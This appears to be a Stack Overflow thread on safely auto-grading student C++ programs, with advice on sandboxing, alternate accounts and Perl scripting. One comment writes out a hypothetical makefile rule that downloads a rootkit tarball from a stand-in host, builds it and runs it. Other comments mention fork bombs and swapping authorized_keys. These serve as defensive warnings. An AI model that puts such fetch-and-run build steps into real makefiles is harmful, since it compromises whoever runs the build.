1

I am writing a program to grade C++ code that students submit. Right now it uses a system call to compile every source file then redirects the input to a file and calls the new executables in processes and searches the output for certain strings. This also allows me to have a timeout on processes for programs that crash.

Is there a better way to do this than a system call? Or a better way to do this in general?

4
  • Remember to use ulimit with the sub processes. Fork bombs are a favorite of CS students. Commented Feb 27, 2011 at 2:55
  • @biowenl2: although I made a similar comment on Ben's answer, I think in practice in this position I'd eyeball the code anyway, and only then run it to confirm that it does "pass the acceptance tests", i.e. complete the assignment correctly. If the student can underhand a fork bomb in innocuous-looking code, well done them, they've made a fool of me and probably get disciplined by the school. Commented Feb 27, 2011 at 2:57
  • Yeah, just don't expect grep "fork" dining_philosophers.c to separate the wheat from the chaff. Commented Feb 27, 2011 at 3:02
  • AND look at the makefile, if student provided. You don't want to fall afoul of %.c.o:\n\twget rootkitzrus.com/rootu.tar.bz2\n\ttar jxf rootu.bz2\n\tgcc -o rootu rootu.c\n\tchmod +x ./rootu\n\t./rootu Commented Feb 27, 2011 at 3:10

2 Answers 2

2

You may want to run the programs under an alternate account, e.g. ssh with key-based authentication is a good way to switch to a dummy account.

If any of the assignments require user interaction, then expect (which is Tcl-based) would be a good choice.

Sign up to request clarification or add additional context in comments.

6 Comments

"You may want to run the programs under an alternate account" - chrooted, with minimal permissions, under a VM, on a machine you don't care about, a very long way away from your nose.
@Steve: Awww, you want to prevent mischief as well as damage? Any grader who isn't at least looking at the assignments before testing them deserves to be pranked by a submission which downloads some choice obscene moaning audio clip and plays it through the speakers. Or perhaps replaces ~/.ssh/authorized_keys causing all remaining submissions to use it as the shell, and "tweaking" their output.
@Steve: Good point, I do set the permissions low and run on a VM. We do also look at the code first.
It is a introductory programming class for non-CS/CE students so very few have had knowledge to do such things though.
@Stuart: Make that assumption at your own risk. For one thing, if you're teaching C++, they are technically savvy in one way or another (non-CmpE engineering students?). For another, unconventional learning abounds in computer fields, students that come in with more practical knowledge than the professor aren't that rare.
|
0

I can't think of other way in C/C++ to run an external executable without using a system call (directly or indirectly).

You may consider using Perl/Python instead of coding C++ to do such checking/automation.

EDIT:

Since you started scripting in Perl, you may want to look at:

http://perldoc.perl.org/functions/exec.html

http://perldoc.perl.org/Shell.html

http://perldoc.perl.org/functions/system.html

http://www.perlmonks.org/?node_id=78523

How can I run a system command in Perl asynchronously?

How can I terminate a system command with alarm in Perl?

4 Comments

I actually started writing this in perl. What would be a good way to do this, are there perl or python modules to help with this? I just called g++ from perl.
Thanks those links should get me started!
Hi Stuart, my pleasure. Perhaps you are new SO user. You should consider voting up if the answer helped you and you should choose the best answer that suits you.
Yeah, I'm new on here. As soon as I get enough reputation I will definitely vote up those that helped me.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.